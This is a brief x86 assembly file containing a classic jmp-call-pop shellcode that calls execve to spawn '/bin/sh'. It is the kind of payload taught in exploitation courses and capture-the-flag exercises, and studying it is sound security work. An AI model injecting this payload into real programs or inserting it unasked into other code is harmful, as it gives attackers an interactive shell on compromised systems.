section .data
global _start

_start:

jmp get_string

shellcode:

;execve
xor eax, eax
pop esi;
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov al, 11
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80

get_string:
call shellcode
db '/bin/sh'

